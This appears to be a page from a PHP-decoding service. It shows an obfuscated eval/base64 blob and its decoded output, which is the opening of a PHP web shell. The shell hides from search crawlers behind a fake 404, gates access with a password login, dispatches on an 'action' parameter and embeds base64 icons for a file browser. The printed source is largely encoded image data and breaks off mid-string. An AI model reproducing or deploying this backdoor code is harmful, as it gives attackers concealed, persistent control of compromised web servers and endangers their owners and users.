Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode("FJ23buPcGkXf5VYDsBBzKJlzjmJzwZwzxfT0Pz3FwDBsiTo8395rWZ..

Decoded Output download

?><?php if(!ob_start('ob_gzhandler'))ob_start();$CDrsyObtJbjy=array('bot','spider','archive','crawl','robot','search','seek','cache');$CDrsyObtJbpy=strtolower($_SERVER['HTTP_USER_AGENT']);foreach($CDrsyObtJbjy AS $CDrsyObnJbjy){	if(strpos($CDrsyObtJbpy,$CDrsyObnJbjy)!==FALSE){		if(strpos($_SERVER['SERVER_SOFTWARE'],'mod_fastcgi')===FALSE || strpos($_SERVER["SERVER_SOFTWARE"],'mod_fcgi')===FALSE){header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found');}		else{header('Status: 404 Not Found');}		echo '
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
<title>404 Not Found</title> 
</head><body> 
<h1>Not Found</h1> 
<p>The requested URL ',$_SERVER['PHP_SELF'],' was not found on this server.</p> 
</body></html> ';		die;	}}$CDrsaObtJbjy=FALSE;if($CDrsaObtJbjy!==FALSE){	session_start();	$CDrsyObtRbjy=TRUE;	if(!empty($_SESSION['SLOGIN'])){		if($_SESSION['SLOGIN']===$CDrsXObtJbjy){$CDrsyObtRbjy=FALSE;}	}	if(isset($_POST['pass'])){		$CDrXyObtJbjy=sha1(md5($_POST['pass']));		if($CDrXyObtJbjy===$CDrsXObtJbjy){$_SESSION['SLOGIN']=$CDrXyObtJbjy;$CDrsyObtRbjy=FALSE;}		else{$CDrsyObtJbjC=TRUE;}	}	if($CDrsyObtRbjy){		echo		'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
			"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
		<html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
		<head>
		<title>Log in</title>
		</head>
		<body style="background-color:black;color:white;">
		<form action="" method="post" style="text-align:center;">';			if(isset($CDrsyObtJbjC)){echo '<span style="color:red;">Wrong password, please try again.</span><br /><br />';}			echo 'Please enter the password: <input type="text" id="pass" name="pass" /> <input type="submit" value="Enter" />
		</form>
		</body>
		</html>';		die;	}}$sDrsyObtJbjy=isset($_REQUEST['action']);if($sDrsyObtJbjy && $_GET['action']==='img'){	header('Expires: '.date('D, d M Y H:i:s',time()+86400).' GMT');	header('Cache-Control: public');	header('Last modified: '.date('D, d M Y H:i:s',getlastmod()).' GMT');	if(isset($_REQUEST['image'])){		if($_REQUEST['image']==='backb'){header('Content-Type: image/png');echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRFnMjhZq3UDXu24e30L5PLSYivAGeY////Be3CegAAAAh0Uk5T/////////wDeg71ZAAAAiElEQVR42mzQ2wrDMAwDUMmO0v//4/nWLIPppXCwTSM8f4L+UIhQN8qZCIcOgplmDWJFbg3UMrPQWC5lIqxCd9SwAnVZ3YiFB/s1q8uEEveYtQ5uc/c6Ujq41ZOp6+Ctua7CzVfN45eIX12qF53ZGkS/ndbapmmJOgp9+0Sx8eozmVn8NP8RYAC3HQXzIa0m6wAAAABJRU5ErkJggg==');}		elseif($_REQUEST['image']==='forwardb'){header('Content-Type: image/png');echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRFnMfgBnCmZazV7fT5HIbBzOLvSYqy////TGVm9QAAAAh0Uk5T/////////wDeg71ZAAAAiklEQVR42mzQQQ7EMAgDQAOG/P/HC4S0jbRcKo0IBWP9KeyPBrI0vhjmjUA8iE1VrbgsgqWJ0eauSlIEWmjd5u5twkiMmVYqVflwzTQytTHXW8dSrZUbmyhqhgfHaJ9O3tYzT99MzL/nSuq3SfRFUfvhGPbtSnlrbq80Lzt5YrN+8izWCn6S/wkwAOuyBcSEKJ+VAAAAAElFTkSuQmCC');}			elseif($_REQUEST['image']==='c37'){header('Content-Type: image/png');echo base64_decode('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');}		header('Content-Type: image/gif');		if($_REQUEST['image']==='dir'){echo base64_decode('R0lGODlhEQAOALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAARAA4AAARIEMlJaxUYA0vFKQVBCBsnDGg6ZNkkgHAMEkP5inhOGLV067tgD/EDGnbDoujIpNlCuibviZPupr6ClWnAElVgVQkBKJvPZ0QEADs=');}		elseif($_GET['image']==='link'){echo base64_decode('R0lGODlhFAAVALMMADZITbzFye73/Nng5dPa3/j7/WNwdJ6preXt8n+Lj9/n7Ojy+AAAAAAAAAAAAAAAACH5BAEAAAwALAAAAAAUABUAAAS+kMlJyRKEam2XX8hGDcolFIIALpmmqCcbHEkgIIqmXkFiAEDAoaBAtBiIjyARDCYECsVAEvjwAAnfz3CLZkofRBKR9QEGuMG0A0oqDvCAwWBTKwJIsXhxMBwIBUxDagMZFntyfigBAQgFBIUZB2IlB0ADREULkQQZCQQ4CgQ1BQiEnah4CQcLUUU3aqiyCRKfUYSxsgM9E6tSp52xM3MUqwS/wjRzxL1ZB4wzWssGGmVl08siDNbY1Nq1PlrfEQA7');}		elseif($_REQUEST['image']==='down'){echo base64_decode('R0lGODlhFAAUAOYAAP//////AP8A//8AAAD//wD/AAAA/wAAAMK/ya6ruLCtwdHO4by6yqimu9TT5GBgb3V1hdfX5qystq6ut6qqr8bGy9DQ09ze8bu8xrCxuszO3t3f7KmrtKyutpecr8HG2JiesKyzxoiNm7O3w77G2cXN4Kmvvt3i7qauwL3ByrO7y5uhrd7k8JKYo8PK17bA0J+msqyzv7nE1dje59Ta48vV47vI2KOtudHa5b7L2sLO3Nnh6t/m7tPe6drj7Nfg6dzk7Nzj6uXr8drk7L/Izpmvsdja2omjocnd2Hedh4ysl5a9n6zQsl2wY5HQli2sMCmJLGakZwKzAgOVBArMChKOEzbNNlHeUGDgYEyqTUabR2XNZYvii6zrrOL64vP/83zee8Tyw+np6f///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGMALAAAAAAUABQAAAf/gGOCg0ZRWYdaWkuDjI1MYQBfkl5RjZZjj19em5SXghYjDEpdYV2mXVEIDBiWJjk3S1xdXLRgTUQuKBWMYjdMTE5cYFhbxVlaUEcIjEEoj11gV1bTT09TVUWshCE5wVhWVFJSU9dMJR2MRigkME1XVOHjVUoLJByMFigvICtN8OLzFBApAQNfCBsyPsB4Em6KEg0aaNRYgU9FiRo1NKTI8mSJgx87ZkxkVEFGCSA4cJyggYTFDiBCdvSgOCiFDhs1ePDYcYIFDyExcfQoOAhDDhQ2dODYoXNnShU6bjDCwEJoj6s7fAwBAiQIDR4jGGUw0aKsWbMrYoRQQVNQDBEPLh5AmCsXwgMRIZIU8cAohYsVDDQ4iDCY8IYLTpA0SJchw4THkB9L4JBAAgVBgQAAOw==');}		die;	}	else{		header('Content-Type: image/gif');		$_GET['ext']=substr($_GET['ext'],1);		$CDusyObtJbjy='R0lGODlhEAAQANUAAAAAAP////7+/f39/Pz8+/v7+vr6+fn5+Pj49/38+/z7+vv6+fr5+Pn49/j39vf29fb19PX08/Py8fj29vf19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/v6+vr5+fn4+Pj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysXFxcDAwL+/v729vby8vLq6urm5ubi4uLW1tbOzs7Gxsa2traysrJ2dnZCQkIaGhnl5ef///wAAAAAAAAAAAAAAAAAAACH5BAEAADoALAAAAAAQABAAAAacQJ1ORSwWV8LkcEMYDAQCggD1UupWBaYTKkidqkmWIdt8ClwwmCvZYhg4ijK0ZFoLXQ03vGyGJWEODQcdexp9STEggYMcBQSGAjFJMiEPix0LjgkDMkkzFZUOCB6YjgQzSTQWIhCWH6SZGzRJNRerrROvbgU1STYktqwUILoGNkk3GBK2ERDDH3k3STgZyhcjzc8NOEk53t/g3zpBADs=';		if($_GET['ext']===''){echo base64_decode($CDusyObtJbjy);die;}		$RDrsyObtJbjy=array(			array('html','htm','xhtml','xht','xml','mht','mhtml','shtml','dtd','chm','xhtm'),'lhEAAQANUlAICCfJmZmSdRjfDTg01LOfDn2Ni8dauik8a3oMe/sz1urFlZWSUvPShSjbu+wU6GzM7OzoN2QIN2QbjJuJ6ulbmzrHWgx/bw6mtvdLWfYOjTsU2GzO7fxd7e3h88ZbuqkBUsQjxtrFhYWDAwMP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACUALAAAAAAQABAAAAaywJKwtBAZj8ahctFpNiuigEgpZJKupAuGJKUqPFEsBsIdCRWSAWUT8jhIAAyGYFZMOBxDBiAAOS4dFQBmDRwXGgMZIW0YHYAVIw0PhgMGIWweIAkXBR8jHhYWAwEWG5ggFQWdnxuhBmwhApmpHJ4lAq0beiIeDBgHeLYgiyEZEQQMIAAfHBq2JSAeAiIEBMoHCRrOZkMg3iIHBwjaGhncQiIJFR8ICB/vGeZKIiP19vcjQQA7',			array('php','phtml','php3','php4','php5','php6','phtm','phps'),'lhEAAQANUAAH5/wIB/wVRUVYuLya6tpH2Bvn19v6io0ZycnIyMxqmpqYCAvoSFwZaWwJ2dznp5v0JDQSorKhISEsLDwXd5vuTm8+Hg5ZGSkTg5NDIxMYB/wIuNi5SUx1BQUayttrW1wH57wIiGhYiIh4aGxMC+4ZeXmKKfn6SlrJ+foXJwu7e3z5iYxHh3v7693vj69qysqqqprqyqq6Cfyq+ur8TE1bu8xk9PTnx8v2FiYXR1aYODfX+AwICAwYCAv////4CAwCH5BAAAAAAALAAAAAAQABAAAAaxwEDvF9Dwdj3eIrDj/Z6/XWCR3O2evQA0Srw6ecesE6v9GR8UA0+z+I2b1l5PReOANHjoOjDov3IkFAV9AAZRPA0xCAcoGTMOK4oyCQAAAwoSAiGYAiKcOjQAPAMINj4RGx2nqacfBpYoEBYQFxAuGbUWGDWvlxIYHic4FgImvzA0BnwlEBUMCQcpLQjNIw9SIxMEBxQADzwB2gcsPEM9HA4MAFvo6lsGN+vv8Vv19ltBADs=',			array('asp','asphtml'),'lhEAAQAOYAAAAAAP////7+/v39/fz8/Pv7+/r6+vn5+fj4+Pf39/b29vX19fT09PPz8/Ly8vHx8fDw8O/v7+3t7enp6eXl5ePj4+Hh4d7e3tvb29ra2tnZ2dfX19bW1tPT09HR0c/Pz83NzczMzMrKysnJycfHx8TExMPDw8DAwL6+vr29vby8vLq6urm5ubW1tbGxsa6urq2trampqaenp6ampqOjo6KioqGhoaCgoJycnJqampeXl5aWlpWVlZGRkYyMjIuLi4iIiIaGhoWFhYKCgn9/f35+fnx8fHh4eHZ2dnR0dHJycm5ubmlpaWRkZF9fX1lZWVhYWFdXV01NTUxMTElJSUVFRUREREBAQD4+Pjs7Ozk5OTg4ODU1NTQ0NDIyMjAwMC4uLi0tLSwsLCsrKyoqKikpKSgoKCQkJCMjIyIiIh8fHx4eHh0dHRwcHBoaGhkZGRgYGBcXFxYWFhMTExEREQ8PDwwMDAkJCQgICAcHBwYGBgEBAf///wAAAAAAAAAAACH5BAEAAHwALAAAAAAQABAAAAf8gAgDBwYFBQEJBAIFggEFBAwRCocCCYgPBAUCAwMCHzUtIyMmISIqOxwJCIQFKEU6Li4/PzcvMBgBuY4VHjpbPiApUFxCEz9JRDsPDgFGAFEFQnoAeUdlAAB1QAsGVgBmGF5yNlVLcGY+dGIDF2hteCxqcEM5G3NUEWFvAStyQQA0lGDbgqPNHCwApgjgoacJACQWnGgBAEeOnjVZVARIgg3AFyEyWpzZAyALCQ0FGHQhQ4QNtjtM7IABcGVAAAYW3OTYGOeJGgBpaoyRAsGQhBcZEHSYQeFEjw4DYpQgcADBggACDggIYCBXplyJBDRIwGAQgUEGBhQ6pCoQADs=',			array('aspx','armx','asax','ashx','asmx','axd'),'lhEAAQAKIFAP///4Kj1cfS6CBHnV5/vv///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANXWLTcrUGIQOK0gRIBwOwdB1Je6FVc5AUeJwKqKrXrCwoEOOZg4w0DHY0AHCyADuNCUATOABVTJ1CcDD7ECbOJG2R0kSK0+yUat8ENMcODpZrw+KAglxcSADs=',			array('txt','ans','asc','rtf','doc','dot','mcw','docx','dotx','log'),'lhEAAQANU+ALq6uvz8+7i4uPv7+uDh476+vvj39vj39/r6+fz7+/b19Pn49/Pz9vr5+fn4+LW1teXl6PXz8/v6+fv6+rOzs/X09LGxsfz7+vf19fTy8p2dnfn5+IaGhvf29djY2q2trff29pCQkPr5+KysrPb29uDf3/Py8ebl5fr6+vb19by8vP38/MXFxfPy8vP08/Lw8PPx8fLy8r29vf38+/X087+/v/Tz87u7u8rKyv7+/f39/MDAwHl5ecjW4P///wAAACH5BAEAAD4ALAAAAAAQABAAAAaWQJ9vt2MQjcUdSsjcJQoeHTRQwAFcTF9tQIDoujkCi3SLMWWIQSKg0+VyAIEAwFSJEJML2507lehCAD2DhIU9AkwCBgsbDXkBK3yIQg+Glg9MFCkdi40SAwEzOhRMFpaGFkwfERUKnAcODZ8JH0wjp4UjTBotGawKGCCwdxpMIbiEIUwcLzAmGTY0wMILHEw82Nna2T5BADs=',			array('jsp','jar','j','jad','jav','java','jsp10','class'),'lhEAAQAOYAAAAAAP///6/A0M7X31l5k1t7lV19l159ll9+l26NpnaQpXSNoomhtZCnuomer5asv5+1yJusuqy9zKqwtUhmfFl6lFh5k1Zyh1ZxhV15jmiGnWeEm2yHm3uUqIKbr4egtIier4edromerqu7x7C9x9Xa3j1cck9sgWSAlGB5i6azvLC9xrfCytjb3bbCyeCwgOh1DOl6E+l+GuSCJOuFJuqEJumKM+yOOOi0guq4ie27jOi9lOvRuvDZxP39/fz8/Pv7+/r6+vn5+ff39/b29vX19fT09PPz8/Dw8O/v7+7u7u3t7ezs7Orq6unp6ejo6Ofn5+bm5uXl5eTk5OPj4+Li4uHh4eDg4N/f397e3t3d3dzc3Nvb29nZ2djY2NbW1tXV1dTU1P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGIALAAAAAAQABAAAAffgAMCEISFhoQCAxIlRUOOj0aPRSUSD0s/Ppk+P0Y9QZk/Sw8NTECmQEFHOjdFp0wNDE5Cs0JIOTRJPEWzTgweUETBRzsyUDg1R8FQHh1TR89IMdHSSM9THQtWSNtMNlYwTExUUUpWCxxZS05aWlkzL1lUCiJVWxwoW01RFQYaBRUaIuwD4QVFhi5QqFBh4cLFChItvCBwACbDhS9TplzZYIGAhQ1XDoS4EubCCS5QsGzpwrJlFylQuJyggOXJiA8JcupM0IQJFgoYJjyBQrSo0SYTMKhIYaKp06dNU6gIBAA7',			array('cfm','cfml','cfc'),'lhFAAUAMQAABRBY1uOsmmfvlSEqBtHaWSauj1sjlyStu7y8kV1mTRihJawwmeMpUt8oH6Zqtzk6WyRqyZSdM3a4/j6+sDP2q3Bz+Xs7ll8lIKjt3eZtEdxjnKNpFuDnwAAAAAAAAAAACH5BAAAAAAALAAAAAAUABQAAAXH4FEUQimMxXEEQzs0TUKaJaqyLZzIdJ2uuFdMNvP9grodyhYI5pIGlTSwkFgemOQuYTA0m4PK5EGRLAYQBoPD7boGmQlFmMgg7o+Lwp0TQ2ANBnELHAwaBgoKgAkUFgNbBhATDhF7iQpbjBaBO5EIDxIVl5idCxMQe4gMCBULDgqVEV2IHAgSHAaHqwwRsb2ziA4WtlgXExu9yZWjERcYrl0OBsoRBKOJyQS92tsE3tTg3d7eAOHV4+gA6gDo7ePr8OwE8fT1IQA7',			array('png','gif','jpg','jpeg','bmp','ico','jfif','mng','nitf','pbm','pcx','pgm','pict','tga','tiff','tif','xbm','psd','jpx','jp2','rle','dib','rle','dcm','fxg','psb','iff','pxr','pdd','dds'),'lhEAAQANU/AMfY2PPz80eJbtX8/+z//7vE2HbX/zeH1om7zqSkpLDO9bPg/5bR/y9qbaurq56enuL9/y5smvz8/FGCo1Wmi/n5+cHy/+7u7tr//yNaL2mog0R8oZ/K2CdSZHaYsIjB2GK1/7CwsIy77G+w0sP7/0yR2XKn3IK/vcXc/0FrY3K//3CwrhtATluHjT18XH6y5pzGz1qt/8/n6TiDwUmAWV2Z1HGijXSilODf2cz0/0GJwuvr67KyspmZmf///////yH5BAEAAD8ALAAAAAAQABAAAAamwJ9wSCwaj0SecslsKn3QqFT6PFivhxHnw4H5eCFfSQWKkRkkAsHw8YVCEg4EslgwGBbIwIKQhBwVMgMEPgM5FhYDAz4AFQ6ALTcYBBiLlJWNDgkVKTQaCBA+aoSMFQkJARmqNAIaFCsjJzI4AacXLB0dDbsCLgICFDcBDw8XETM6NTUmJi8iCigFF8Q7EREbGxPaEx7dHjsPPTvj5OXlPejp6uvoQQA7',			array('vbs','js','scpt','sh','bsh','pl','pn','pm','plx','tcl','ps1','mrc','as','py','pyc','pyw','ps','ncf','asa','csh','cgi','jsfl','json','au3','awk','applescript','aut','nsi','rpy','wsf'),'lhEAAQAOYAAAAAAP///yIiIykpKigoKTAwMS8vMC0tLioqKzw8PTs7PDY2NzQ0NVRUVVJSU1FRUk1NTktLTEdHSEJCQ1FSU0xNTklKSzEyMi8wMC4vLzo7O1RVVVJTU0tMTENEREBBQT9AQAIDAhwcGyoqKWNjYoyMjIqKiomJiYGBgYCAgHl5eXh4eHFxcWxsbGhoaGVlZWNjY15eXl1dXVlZWVdXV1RUVFNTU0xMTEtLS0lJSUhISEZGRkVFRURERENDQ0JCQkFBQT8/Pzw8PDs7Ozk5OTg4ODc3NzY2NjMzMzExMSoqKikpKSQkJCMjIyEhIR4eHh0dHRwcHBsbGxISEhERERAQEA4ODgkJCQYGBgUFBQICAv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAFsALAAAAAAQABAAAAeqgFuCg4SFhQ4PDRuLHBAVG4UWMy0rKiorLDQ3TCCENiQnJaIlJi41TjuEETMora0pMg8UhRI5MTEyMrc4HYYeQzAvwi8wQhKGH0tGRUbLRiMThgpSPDk6Ojk8IgmGR1dVU1RUU